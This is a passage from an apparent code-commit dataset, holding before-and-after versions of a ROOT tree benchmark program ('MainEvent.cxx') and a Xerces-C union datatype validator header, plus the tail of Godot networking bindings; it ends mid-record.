&GDNetPeer::disconnect,DEFVAL(0));\n\tObjectTypeDB::bind_method(\"disconnect_later\", &GDNetPeer::disconnect_later,DEFVAL(0));\n\tObjectTypeDB::bind_method(\"disconnect_now\", &GDNetPeer::disconnect_now,DEFVAL(0));\n\tObjectTypeDB::bind_method(\"send_packet\", &GDNetPeer::send_packet,DEFVAL(0),DEFVAL(GDNetMessage::UNSEQUENCED));\n\tObjectTypeDB::bind_method(\"send_var\", &GDNetPeer::send_var,DEFVAL(0),DEFVAL(GDNetMessage::UNSEQUENCED));\n\tObjectTypeDB::bind_method(\"set_timeout\", &GDNetPeer::set_timeout);\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ @(#)root\/test:$Name: $:$Id: MainEvent.cxx,v 1.8 2001\/01\/15 01:28:08 rdm Exp $\n\/\/ Author: Rene Brun 19\/01\/97\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ A simple example with a ROOT tree\n\/\/ =================================\n\/\/\n\/\/ This program creates :\n\/\/ - a ROOT file\n\/\/ - a tree\n\/\/ Additional arguments can be passed to the program to control the flow\n\/\/ of execution. (see comments describing the arguments in the code).\n\/\/ Event nevent comp split fill\n\/\/ All arguments are optional: Default is\n\/\/ Event 400 1 1 1\n\/\/\n\/\/ In this example, the tree consists of one single \"super branch\"\n\/\/ The statement ***tree->Branch(\"event\", event, 64000,split);*** below\n\/\/ will parse the structure described in Event.h and will make\n\/\/ a new branch for each data member of the class if split is set to 1.\n\/\/ - 5 branches corresponding to the basic types fNtrack,fNseg,fNvertex\n\/\/ ,fFlag and fTemperature.\n\/\/ - 3 branches corresponding to the members of the subobject EventHeader.\n\/\/ - one branch for each data member of the class Track of TClonesArray.\n\/\/ - one branch for the object fH (histogram of class TH1F).\n\/\/\n\/\/ if split = 0 only one single branch is created and the complete event\n\/\/ is serialized in one single buffer.\n\/\/ if comp = 0 no compression at all.\n\/\/ if comp = 1 event is compressed.\n\/\/ if comp = 2 same as 1. In addition branches with floats in the TClonesArray\n\/\/ are also compressed.\n\/\/ The 4th argument fill can be set to 0 if one wants to time\n\/\/ the percentage of time spent in creating the event structure and\n\/\/ not write the event in the file.\n\/\/ In this example, one loops over nevent events.\n\/\/ The branch \"event\" is created at the first event.\n\/\/ The branch address is set for all other events.\n\/\/ For each event, the event header is filled and ntrack tracks\n\/\/ are generated and added to the TClonesArray list.\n\/\/ For each event the event histogram is saved as well as the list\n\/\/ of all tracks.\n\/\/\n\/\/ The number of events can be given as the first argument to the program.\n\/\/ By default 400 events are generated.\n\/\/ The compression option can be activated\/deactivated via the second argument.\n\/\/\n\/\/ ---Running\/Linking instructions----\n\/\/ This program consists of the following files and procedures.\n\/\/ - Event.h event class description\n\/\/ - Event.C event class implementation\n\/\/ - MainEvent.C the main program to demo this class might be used (this file)\n\/\/ - EventCint.C the CINT dictionary for the event and Track classes\n\/\/ this file is automatically generated by rootcint (see Makefile),\n\/\/ when the class definition in Event.h is modified.\n\/\/\n\/\/ ---Analyzing the Event.root file with the interactive root\n\/\/ example of a simple session\n\/\/ Root > TFile f(\"Event.root\")\n\/\/ Root > T.Draw(\"fNtrack\") \/\/histogram the number of tracks per event\n\/\/ Root > T.Draw(\"fPx\") \/\/histogram fPx for all tracks in all events\n\/\/ Root > T.Draw(\"fXfirst:fYfirst\",\"fNtrack>600\")\n\/\/ \/\/scatter-plot for x versus y of first point of each track\n\/\/ Root > T.Draw(\"fH.GetRMS()\") \/\/histogram of the RMS of the event histogram\n\/\/\n\/\/ Look also in the same directory at the following macros:\n\/\/ - eventa.C an example how to read the tree\n\/\/ - eventb.C how to read events conditionally\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <stdlib.h>\n\n#include \"TROOT.h\"\n#include \"TFile.h\"\n#include \"TNetFile.h\"\n#include \"TRandom.h\"\n#include \"TTree.h\"\n#include \"TBranch.h\"\n#include \"TClonesArray.h\"\n#include \"TStopwatch.h\"\n\n#include \"Event.h\"\n\n\n\/\/______________________________________________________________________________\nint main(int argc, char **argv)\n{\n TROOT simple(\"simple\",\"Example of creation of a tree\");\n\n Int_t nevent = 400; \/\/ by default create 400 events\n Int_t comp = 1; \/\/ by default file is compressed\n Int_t split = 1; \/\/ by default, split Event in sub branches\n Int_t write = 1; \/\/ by default the tree is filled\n Int_t hfill = 0; \/\/ by default histograms are not filled\n Int_t read = 0;\n Int_t arg4 = 1;\n Int_t arg5 = 600; \/\/default number of tracks per event\n Int_t netf = 0;\n\n if (argc > 1) nevent = atoi(argv[1]);\n if (argc > 2) comp = atoi(argv[2]);\n if (argc > 3) split = atoi(argv[3]);\n if (argc > 4) arg4 = atoi(argv[4]);\n if (argc > 5) arg5 = atoi(argv[5]);\n if (arg4 == 0) { write = 0; hfill = 0; read = 1;}\n if (arg4 == 1) { write = 1; hfill = 0;}\n if (arg4 == 2) { write = 0; hfill = 0;}\n if (arg4 == 10) { write = 0; hfill = 1;}\n if (arg4 == 11) { write = 1; hfill = 1;}\n if (arg4 == 20) { write = 0; read = 1;} \/\/read sequential\n if (arg4 == 25) { write = 0; read = 2;} \/\/read random\n if (arg4 >= 30) { netf = 1; } \/\/use TNetFile\n if (arg4 == 30) { write = 0; read = 1;} \/\/netfile + read sequential\n if (arg4 == 35) { write = 0; read = 2;} \/\/netfile + read random\n if (arg4 == 36) { write = 1; } \/\/netfile + write sequential\n\n TFile *hfile;\n TTree *tree;\n Event *event = 0;\n\n \/\/ Fill event, header and tracks with some random numbers\n \/\/ Create a timer object to benchmark this loop\n TStopwatch timer;\n timer.Start();\n Int_t nb = 0;\n Int_t ev;\n Int_t bufsize;\n Double_t told = 0;\n Double_t tnew = 0;\n Int_t printev = 100;\n if (arg5 < 100) printev = 1000;\n if (arg5 < 10) printev = 10000;\n\n Track::Class()->IgnoreTObjectStreamer();\n Track::Class()->BypassStreamer(); \n\n\/\/ Read case\n if (read) {\n if (netf) {\n hfile = new TNetFile(\"root:\/\/localhost\/root\/test\/EventNet.root\");\n hfile->UseCache(10);\n } else\n hfile = new TFile(\"Event.root\");\n tree = (TTree*)hfile->Get(\"T\");\n TBranch *branch = tree->GetBranch(\"event\");\n branch->SetAddress(&event);\n Int_t nentries = (Int_t)tree->GetEntries();\n nevent = TMath::Max(nevent,nentries);\n if (read == 1) { \/\/read sequential\n for (ev = 0; ev < nevent; ev++) {\n if (ev%printev == 0) {\n tnew = timer.RealTime();\n printf(\"event:%d, rtime=%f s\\n\",ev,tnew-told);\n told=tnew;\n timer.Continue();\n }\n nb += tree->GetEntry(ev); \/\/read complete event in memory\n }\n } else { \/\/read random\n Int_t evrandom;\n for (ev = 0; ev < nevent; ev++) {\n if (ev%printev == 0) cout<<\"event=\"<<ev<<endl;\n evrandom = Int_t(nevent*gRandom->Rndm(1));\n nb += tree->GetEntry(evrandom); \/\/read complete event in memory\n }\n }\n } else {\n\/\/ Write case\n \/\/ Create a new ROOT binary machine independent file.\n \/\/ Note that this file may contain any kind of ROOT objects, histograms,\n \/\/ pictures, graphics objects, detector geometries, tracks, events, etc..\n \/\/ This file is now becoming the current directory.\n if (netf) {\n hfile = new TNetFile(\"root:\/\/localhost\/root\/test\/EventNet.root\",\"RECREATE\",\"TTree benchmark ROOT file\");\n hfile->UseCache(10);\n } else\n hfile = new TFile(\"Event.root\",\"RECREATE\",\"TTree benchmark ROOT file\");\n hfile->SetCompressionLevel(comp);\n\n \/\/ Create histogram to show write_time in function of time\n Float_t curtime = -0.5;\n Int_t ntime = nevent\/printev;\n TH1F *htime = new TH1F(\"htime\",\"Real-Time to write versus time\",ntime,0,ntime);\n HistogramManager *hm = 0;\n if (hfill) {\n TDirectory *hdir = new TDirectory(\"histograms\", \"all histograms\");\n hm = new HistogramManager(hdir);\n }\n\n \/\/ Create a ROOT Tree and one superbranch\n TTree *tree = new TTree(\"T\",\"An example of a ROOT tree\");\n tree->SetAutoSave(1000000000); \/\/ autosave when 1 Gbyte written\n bufsize = 64000;\n if (split) bufsize \/= 4;\n event = new Event();\n TBranch *branch = tree->Bronch(\"event\", \"Event\", &event, bufsize,split);\n branch->SetAutoDelete(kFALSE);\n char etype[20];\n\n for (ev = 0; ev < nevent; ev++) {\n if (ev%printev == 0) {\n tnew = timer.RealTime();\n printf(\"event:%d, rtime=%f s\\n\",ev,tnew-told);\n htime->Fill(curtime,tnew-told);\n curtime += 1;\n told=tnew;\n timer.Continue();\n }\n\n Float_t sigmat, sigmas;\n gRandom->Rannor(sigmat,sigmas);\n Int_t ntrack = Int_t(arg5 +arg5*sigmat\/120.);\n Float_t random = gRandom->Rndm(1);\n\n sprintf(etype,\"type%d\",ev%5);\n event->SetType(etype);\n event->SetHeader(ev, 200, 960312, random);\n event->SetNseg(Int_t(10*ntrack+20*sigmas));\n event->SetNvertex(Int_t(1+20*gRandom->Rndm()));\n event->SetFlag(UInt_t(random+0.5));\n event->SetTemperature(random+20.);\n\n for(UChar_t m = 0; m < 10; m++) {\n event->SetMeasure(m, Int_t(gRandom->Gaus(m,m+1)));\n }\n for(UChar_t i0 = 0; i0 < 4; i0++) {\n for(UChar_t i1 = 0; i1 < 4; i1++) {\n event->SetMatrix(i0,i1,gRandom->Gaus(i0*i1,1));\n }\n }\n\n \/\/ Create and Fill the Track objects\n for (Int_t t = 0; t < ntrack; t++) event->AddTrack(random);\n\n if (write) nb += tree->Fill(); \/\/fill the tree\n\n if (hm) hm->Hfill(event); \/\/fill histograms\n\n event->Clear();\n }\n if (write) {\n hfile->Write();\n tree->Print();\n }\n }\n\n \/\/ Stop timer and print results\n timer.Stop();\n Float_t mbytes = 0.000001*nb;\n Double_t rtime = timer.RealTime();\n Double_t ctime = timer.CpuTime();\n\n\n printf(\"\\n%d events and %d bytes processed.\\n\",nevent,nb);\n printf(\"RealTime=%f seconds, CpuTime=%f seconds\\n\",rtime,ctime);\n if (read) {\n printf(\"You read %f Mbytes\/Realtime seconds\\n\",mbytes\/rtime);\n printf(\"You read %f Mbytes\/Cputime seconds\\n\",mbytes\/ctime);\n } else {\n printf(\"compression level=%d, split=%d, arg4=%d\\n\",comp,split,arg4);\n printf(\"You write %f Mbytes\/Realtime seconds\\n\",mbytes\/rtime);\n printf(\"You write %f Mbytes\/Cputime seconds\\n\",mbytes\/ctime);\n \/\/printf(\"file compression factor = %f\\n\",hfile.GetCompressionFactor());\n }\n hfile->Close();\n return 0;\n}\n<commit_msg>A wrong version of MainEvent was checked in..<commit_after>\/\/ @(#)root\/test:$Name: $:$Id: MainEvent.cxx,v 1.9 2001\/02\/09 10:24:46 brun Exp $\n\/\/ Author: Rene Brun 19\/01\/97\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ A simple example with a ROOT tree\n\/\/ =================================\n\/\/\n\/\/ This program creates :\n\/\/ - a ROOT file\n\/\/ - a tree\n\/\/ Additional arguments can be passed to the program to control the flow\n\/\/ of execution. (see comments describing the arguments in the code).\n\/\/ Event nevent comp split fill\n\/\/ All arguments are optional: Default is\n\/\/ Event 400 1 1 1\n\/\/\n\/\/ In this example, the tree consists of one single \"super branch\"\n\/\/ The statement ***tree->Branch(\"event\", event, 64000,split);*** below\n\/\/ will parse the structure described in Event.h and will make\n\/\/ a new branch for each data member of the class if split is set to 1.\n\/\/ - 5 branches corresponding to the basic types fNtrack,fNseg,fNvertex\n\/\/ ,fFlag and fTemperature.\n\/\/ - 3 branches corresponding to the members of the subobject EventHeader.\n\/\/ - one branch for each data member of the class Track of TClonesArray.\n\/\/ - one branch for the object fH (histogram of class TH1F).\n\/\/\n\/\/ if split = 0 only one single branch is created and the complete event\n\/\/ is serialized in one single buffer.\n\/\/ if comp = 0 no compression at all.\n\/\/ if comp = 1 event is compressed.\n\/\/ if comp = 2 same as 1. In addition branches with floats in the TClonesArray\n\/\/ are also compressed.\n\/\/ The 4th argument fill can be set to 0 if one wants to time\n\/\/ the percentage of time spent in creating the event structure and\n\/\/ not write the event in the file.\n\/\/ In this example, one loops over nevent events.\n\/\/ The branch \"event\" is created at the first event.\n\/\/ The branch address is set for all other events.\n\/\/ For each event, the event header is filled and ntrack tracks\n\/\/ are generated and added to the TClonesArray list.\n\/\/ For each event the event histogram is saved as well as the list\n\/\/ of all tracks.\n\/\/\n\/\/ The number of events can be given as the first argument to the program.\n\/\/ By default 400 events are generated.\n\/\/ The compression option can be activated\/deactivated via the second argument.\n\/\/\n\/\/ ---Running\/Linking instructions----\n\/\/ This program consists of the following files and procedures.\n\/\/ - Event.h event class description\n\/\/ - Event.C event class implementation\n\/\/ - MainEvent.C the main program to demo this class might be used (this file)\n\/\/ - EventCint.C the CINT dictionary for the event and Track classes\n\/\/ this file is automatically generated by rootcint (see Makefile),\n\/\/ when the class definition in Event.h is modified.\n\/\/\n\/\/ ---Analyzing the Event.root file with the interactive root\n\/\/ example of a simple session\n\/\/ Root > TFile f(\"Event.root\")\n\/\/ Root > T.Draw(\"fNtrack\") \/\/histogram the number of tracks per event\n\/\/ Root > T.Draw(\"fPx\") \/\/histogram fPx for all tracks in all events\n\/\/ Root > T.Draw(\"fXfirst:fYfirst\",\"fNtrack>600\")\n\/\/ \/\/scatter-plot for x versus y of first point of each track\n\/\/ Root > T.Draw(\"fH.GetRMS()\") \/\/histogram of the RMS of the event histogram\n\/\/\n\/\/ Look also in the same directory at the following macros:\n\/\/ - eventa.C an example how to read the tree\n\/\/ - eventb.C how to read events conditionally\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <stdlib.h>\n\n#include \"TROOT.h\"\n#include \"TFile.h\"\n#include \"TNetFile.h\"\n#include \"TRandom.h\"\n#include \"TTree.h\"\n#include \"TBranch.h\"\n#include \"TClonesArray.h\"\n#include \"TStopwatch.h\"\n\n#include \"Event.h\"\n\n\n\/\/______________________________________________________________________________\nint main(int argc, char **argv)\n{\n TROOT simple(\"simple\",\"Example of creation of a tree\");\n\n Int_t nevent = 400; \/\/ by default create 400 events\n Int_t comp = 1; \/\/ by default file is compressed\n Int_t split = 1; \/\/ by default, split Event in sub branches\n Int_t write = 1; \/\/ by default the tree is filled\n Int_t hfill = 0; \/\/ by default histograms are not filled\n Int_t read = 0;\n Int_t arg4 = 1;\n Int_t arg5 = 600; \/\/default number of tracks per event\n Int_t netf = 0;\n\n if (argc > 1) nevent = atoi(argv[1]);\n if (argc > 2) comp = atoi(argv[2]);\n if (argc > 3) split = atoi(argv[3]);\n if (argc > 4) arg4 = atoi(argv[4]);\n if (argc > 5) arg5 = atoi(argv[5]);\n if (arg4 == 0) { write = 0; hfill = 0; read = 1;}\n if (arg4 == 1) { write = 1; hfill = 0;}\n if (arg4 == 2) { write = 0; hfill = 0;}\n if (arg4 == 10) { write = 0; hfill = 1;}\n if (arg4 == 11) { write = 1; hfill = 1;}\n if (arg4 == 20) { write = 0; read = 1;} \/\/read sequential\n if (arg4 == 25) { write = 0; read = 2;} \/\/read random\n if (arg4 >= 30) { netf = 1; } \/\/use TNetFile\n if (arg4 == 30) { write = 0; read = 1;} \/\/netfile + read sequential\n if (arg4 == 35) { write = 0; read = 2;} \/\/netfile + read random\n if (arg4 == 36) { write = 1; } \/\/netfile + write sequential\n\n TFile *hfile;\n TTree *tree;\n Event *event = 0;\n\n \/\/ Fill event, header and tracks with some random numbers\n \/\/ Create a timer object to benchmark this loop\n TStopwatch timer;\n timer.Start();\n Int_t nb = 0;\n Int_t ev;\n Int_t bufsize;\n Double_t told = 0;\n Double_t tnew = 0;\n Int_t printev = 100;\n if (arg5 < 100) printev = 1000;\n if (arg5 < 10) printev = 10000;\n\n Track::Class()->IgnoreTObjectStreamer();\n Track::Class()->BypassStreamer(); \n\n\/\/ Read case\n if (read) {\n if (netf) {\n hfile = new TNetFile(\"root:\/\/localhost\/root\/test\/EventNet.root\");\n hfile->UseCache(10);\n } else\n hfile = new TFile(\"Event.root\");\n tree = (TTree*)hfile->Get(\"T\");\n TBranch *branch = tree->GetBranch(\"event\");\n branch->SetAddress(&event);\n Int_t nentries = (Int_t)tree->GetEntries();\n nevent = TMath::Max(nevent,nentries);\n if (read == 1) { \/\/read sequential\n for (ev = 0; ev < nevent; ev++) {\n if (ev%printev == 0) {\n tnew = timer.RealTime();\n printf(\"event:%d, rtime=%f s\\n\",ev,tnew-told);\n told=tnew;\n timer.Continue();\n }\n nb += tree->GetEntry(ev); \/\/read complete event in memory\n }\n } else { \/\/read random\n Int_t evrandom;\n for (ev = 0; ev < nevent; ev++) {\n if (ev%printev == 0) cout<<\"event=\"<<ev<<endl;\n evrandom = Int_t(nevent*gRandom->Rndm(1));\n nb += tree->GetEntry(evrandom); \/\/read complete event in memory\n }\n }\n } else {\n\/\/ Write case\n \/\/ Create a new ROOT binary machine independent file.\n \/\/ Note that this file may contain any kind of ROOT objects, histograms,\n \/\/ pictures, graphics objects, detector geometries, tracks, events, etc..\n \/\/ This file is now becoming the current directory.\n if (netf) {\n hfile = new TNetFile(\"root:\/\/localhost\/root\/test\/EventNet.root\",\"RECREATE\",\"TTree benchmark ROOT file\");\n hfile->UseCache(10);\n } else\n hfile = new TFile(\"Event.root\",\"RECREATE\",\"TTree benchmark ROOT file\");\n hfile->SetCompressionLevel(comp);\n\n \/\/ Create histogram to show write_time in function of time\n Float_t curtime = -0.5;\n Int_t ntime = nevent\/printev;\n TH1F *htime = new TH1F(\"htime\",\"Real-Time to write versus time\",ntime,0,ntime);\n HistogramManager *hm = 0;\n if (hfill) {\n TDirectory *hdir = new TDirectory(\"histograms\", \"all histograms\");\n hm = new HistogramManager(hdir);\n }\n\n \/\/ Create a ROOT Tree and one superbranch\n TTree *tree = new TTree(\"T\",\"An example of a ROOT tree\");\n tree->SetAutoSave(1000000000); \/\/ autosave when 1 Gbyte written\n bufsize = 64000;\n if (split) bufsize \/= 4;\n event = new Event();\n TBranch *branch = tree->Branch(\"event\", \"Event\", &event, bufsize,split);\n branch->SetAutoDelete(kFALSE);\n char etype[20];\n\n for (ev = 0; ev < nevent; ev++) {\n if (ev%printev == 0) {\n tnew = timer.RealTime();\n printf(\"event:%d, rtime=%f s\\n\",ev,tnew-told);\n htime->Fill(curtime,tnew-told);\n curtime += 1;\n told=tnew;\n timer.Continue();\n }\n\n Float_t sigmat, sigmas;\n gRandom->Rannor(sigmat,sigmas);\n Int_t ntrack = Int_t(arg5 +arg5*sigmat\/120.);\n Float_t random = gRandom->Rndm(1);\n\n sprintf(etype,\"type%d\",ev%5);\n event->SetType(etype);\n event->SetHeader(ev, 200, 960312, random);\n event->SetNseg(Int_t(10*ntrack+20*sigmas));\n event->SetNvertex(Int_t(1+20*gRandom->Rndm()));\n event->SetFlag(UInt_t(random+0.5));\n event->SetTemperature(random+20.);\n\n for(UChar_t m = 0; m < 10; m++) {\n event->SetMeasure(m, Int_t(gRandom->Gaus(m,m+1)));\n }\n for(UChar_t i0 = 0; i0 < 4; i0++) {\n for(UChar_t i1 = 0; i1 < 4; i1++) {\n event->SetMatrix(i0,i1,gRandom->Gaus(i0*i1,1));\n }\n }\n\n \/\/ Create and Fill the Track objects\n for (Int_t t = 0; t < ntrack; t++) event->AddTrack(random);\n\n if (write) nb += tree->Fill(); \/\/fill the tree\n\n if (hm) hm->Hfill(event); \/\/fill histograms\n\n event->Clear();\n }\n if (write) {\n hfile->Write();\n tree->Print();\n }\n }\n\n \/\/ Stop timer and print results\n timer.Stop();\n Float_t mbytes = 0.000001*nb;\n Double_t rtime = timer.RealTime();\n Double_t ctime = timer.CpuTime();\n\n\n printf(\"\\n%d events and %d bytes processed.\\n\",nevent,nb);\n printf(\"RealTime=%f seconds, CpuTime=%f seconds\\n\",rtime,ctime);\n if (read) {\n printf(\"You read %f Mbytes\/Realtime seconds\\n\",mbytes\/rtime);\n printf(\"You read %f Mbytes\/Cputime seconds\\n\",mbytes\/ctime);\n } else {\n printf(\"compression level=%d, split=%d, arg4=%d\\n\",comp,split,arg4);\n printf(\"You write %f Mbytes\/Realtime seconds\\n\",mbytes\/rtime);\n printf(\"You write %f Mbytes\/Cputime seconds\\n\",mbytes\/ctime);\n \/\/printf(\"file compression factor = %f\\n\",hfile.GetCompressionFactor());\n }\n hfile->Close();\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2001,2004 The Apache Software Foundation.\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/*\n * $Id$\n *\/\n\n#if !defined(UNION_DATATYPEVALIDATOR_HPP)\n#define UNION_DATATYPEVALIDATOR_HPP\n\n#include <xercesc\/validators\/datatype\/DatatypeValidator.hpp>\n\nXERCES_CPP_NAMESPACE_BEGIN\n\nclass VALIDATORS_EXPORT UnionDatatypeValidator : public DatatypeValidator\n{\npublic:\n\n \/\/ -----------------------------------------------------------------------\n \/\/ Public ctor\/dtor\n \/\/ -----------------------------------------------------------------------\n\t\/** @name Constructors and Destructor. *\/\n \/\/@{\n\n UnionDatatypeValidator\n (\n MemoryManager* const manager = XMLPlatformUtils::fgMemoryManager\n );\n\n \/\/\n \/\/ constructor for native Union datatype validator\n \/\/ <simpleType name=\"nativeUnion\">\n \/\/ <union memberTypes=\"member1 member2 ...\">\n \/\/ <\/simpleType>\n \/\/\n UnionDatatypeValidator\n (\n RefVectorOf<DatatypeValidator>* const memberTypeValidators\n , const int finalSet\n , MemoryManager* const manager = XMLPlatformUtils::fgMemoryManager\n );\n\n \/\/\n \/\/ constructor for derived Union datatype validator\n \/\/ <simpleType name=\"derivedUnion\">\n \/\/ <restriction base=\"nativeUnion\">\n \/\/ <pattern value=\"patter_value\"\/>\n \/\/ <enumeration value=\"enum_value\"\/>\n \/\/ <\/restriction>\n \/\/ <\/simpleType>\n \/\/\n UnionDatatypeValidator\n (\n DatatypeValidator* const baseValidator\n , RefHashTableOf<KVStringPair>* const facets\n , RefArrayVectorOf<XMLCh>* const enums\n , const int finalSet\n , MemoryManager* const manager = XMLPlatformUtils::fgMemoryManager\n , RefVectorOf<DatatypeValidator>* const memberTypeValidators = 0\n , const bool memberTypesInherited = true\n );\n\n virtual ~UnionDatatypeValidator();\n\n\t\/\/@}\n\n\tvirtual const RefArrayVectorOf<XMLCh>* getEnumString() const;\n\n \/\/ -----------------------------------------------------------------------\n \/\/ Getter methods\n \/\/ -----------------------------------------------------------------------\n \/** @name Getter Functions *\/\n \/\/@{\n \/**\n * Returns whether the type is atomic or not\n *\/\n virtual bool isAtomic() const;\n\n virtual const XMLCh* getCanonicalRepresentation\n (\n const XMLCh* const rawData\n , MemoryManager* const memMgr = 0\n , bool toValidate = false\n ) const;\n\n \/\/@}\n\n \/\/ -----------------------------------------------------------------------\n \/\/ Validation methods\n \/\/ -----------------------------------------------------------------------\n \/** @name Validation Function *\/\n \/\/@{\n\n \/**\n * validate that a string matches the boolean datatype\n * @param content A string containing the content to be validated\n *\n * @exception throws InvalidDatatypeException if the content is\n * is not valid.\n *\/\n\n\tvirtual void validate\n (\n const XMLCh* const content\n , ValidationContext* const context = 0\n , MemoryManager* const manager = XMLPlatformUtils::fgMemoryManager\n );\n\n \/**\n * Checks whether a given type can be used as a substitute\n *\n * @param toCheck A datatype validator of the type to be used as a\n * substitute\n *\n * To be redefined in UnionDatatypeValidator\n *\/\n\n virtual bool isSubstitutableBy(const DatatypeValidator* const toCheck);\n\n \/\/@}\n\n \/\/ -----------------------------------------------------------------------\n \/\/ Compare methods\n \/\/ -----------------------------------------------------------------------\n \/** @name Compare Function *\/\n \/\/@{\n\n \/**\n * Compare two boolean data types\n *\n * @param content1\n * @param content2\n * @return\n *\/\n int compare(const XMLCh* const, const XMLCh* const\n , MemoryManager* const manager = XMLPlatformUtils::fgMemoryManager\n );\n\n \/\/@}\n\n \/**\n * Returns an instance of the base datatype validator class\n\t * Used by the DatatypeValidatorFactory.\n *\/\n virtual DatatypeValidator* newInstance\n (\n RefHashTableOf<KVStringPair>* const facets\n , RefArrayVectorOf<XMLCh>* const enums\n , const int finalSet\n , MemoryManager* const manager = XMLPlatformUtils::fgMemoryManager\n );\n\n \/***\n * Support for Serialization\/De-serialization\n ***\/\n DECL_XSERIALIZABLE(UnionDatatypeValidator)\n\n\n RefVectorOf<DatatypeValidator>* getMemberTypeValidators() const;\n\nprivate:\n \/\/ -----------------------------------------------------------------------\n \/\/ Unimplemented constructors and operators\n \/\/ ----------------------------------------------------------------------- \n UnionDatatypeValidator(const UnionDatatypeValidator&);\n UnionDatatypeValidator& operator=(const UnionDatatypeValidator&);\n\n virtual void checkContent(const XMLCh* const content\n , ValidationContext* const context\n , bool asBase\n , MemoryManager* const manager);\n\n void init(DatatypeValidator* const baseValidator\n , RefHashTableOf<KVStringPair>* const facets\n , RefArrayVectorOf<XMLCh>* const enums\n , MemoryManager* const manager);\n\n void cleanUp();\n \n RefArrayVectorOf<XMLCh>* getEnumeration() const;\n\n void setEnumeration(RefArrayVectorOf<XMLCh>*, bool);\n\n\n \/\/ -----------------------------------------------------------------------\n \/\/ Private data members\n \/\/\n \/\/ fEnumeration\n \/\/ we own it (or not, depending on state of fEnumerationInherited).\n \/\/\n \/\/ fMemberTypeValidators\n \/\/ we own it (or not, depending on the state of fMemberTypesInherited).\n \/\/\n \/\/ -----------------------------------------------------------------------\n\n bool fEnumerationInherited;\n bool fMemberTypesInherited;\n RefArrayVectorOf<XMLCh>* fEnumeration;\n RefVectorOf<DatatypeValidator>* fMemberTypeValidators; \n};\n\ninline DatatypeValidator* UnionDatatypeValidator::newInstance\n(\n RefHashTableOf<KVStringPair>* const facets\n , RefArrayVectorOf<XMLCh>* const enums\n , const int finalSet\n , MemoryManager* const manager\n)\n{\n return (DatatypeValidator*) new (manager) UnionDatatypeValidator(this, facets, enums, finalSet, manager, fMemberTypeValidators, true);\n}\n\ninline void UnionDatatypeValidator::validate( const XMLCh* const content\n , ValidationContext* const context\n , MemoryManager* const manager)\n{\n checkContent(content, context, false, manager);\n}\n\ninline void UnionDatatypeValidator::cleanUp()\n{\n \/\/~RefVectorOf will delete all adopted elements\n if ( !fEnumerationInherited && fEnumeration)\n delete fEnumeration;\n\n if (!fMemberTypesInherited && fMemberTypeValidators)\n delete fMemberTypeValidators;\n \n}\n\ninline RefArrayVectorOf<XMLCh>* UnionDatatypeValidator:: getEnumeration() const\n{\n return fEnumeration;\n}\n\ninline void UnionDatatypeValidator::setEnumeration(RefArrayVectorOf<XMLCh>* enums\n , bool inherited)\n{\n if (enums)\n {\n if ( !fEnumerationInherited && fEnumeration)\n delete fEnumeration;\n\n fEnumeration = enums;\n fEnumerationInherited = inherited;\n setFacetsDefined(DatatypeValidator::FACET_ENUMERATION);\n }\n}\n\n\/\/\n\/\/ get the native UnionDTV's fMemberTypeValidators\n\/\/\ninline\nRefVectorOf<DatatypeValidator>* UnionDatatypeValidator::getMemberTypeValidators() const\n{\n return this->fMemberTypeValidators;\n}\n\ninline bool UnionDatatypeValidator::isAtomic() const {\n\n\n\n if (!fMemberTypeValidators) {\n return false;\n }\n\n unsigned int memberSize = fMemberTypeValidators->size();\n\n for (unsigned int i=0; i < memberSize; i++) {\n if (!fMemberTypeValidators->elementAt(i)->isAtomic()) {\n return false;\n }\n }\n\n return true;\n}\n\ninline bool UnionDatatypeValidator::isSubstitutableBy(const DatatypeValidator* const toCheck) {\n\n if (toCheck == this) {\n return true;\n }\n\n if (fMemberTypeValidators) {\n unsigned int memberSize = fMemberTypeValidators->size();\n\n for (unsigned int i=0; i < memberSize; i++) {\n\n if (fMemberTypeValidators->elementAt(i)->getType() == DatatypeValidator::Union)\n return false;\n if (fMemberTypeValidators->elementAt(i)->isSubstitutableBy(toCheck)) {\n return true;\n }\n }\n }\n return false;\n}\n\nXERCES_CPP_NAMESPACE_END\n\n#endif\n\n\/**\n * End of file UnionDatatypeValidator.hpp\n *\/\n\n<commit_msg>Schema fixes for union of union.<commit_after>\/*\n * Copyright 2001,2004 The Apache Software Foundation.\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/*\n * $Id$\n *\/\n\n#if !defined(UNION_DATATYPEVALIDATOR_HPP)\n#define 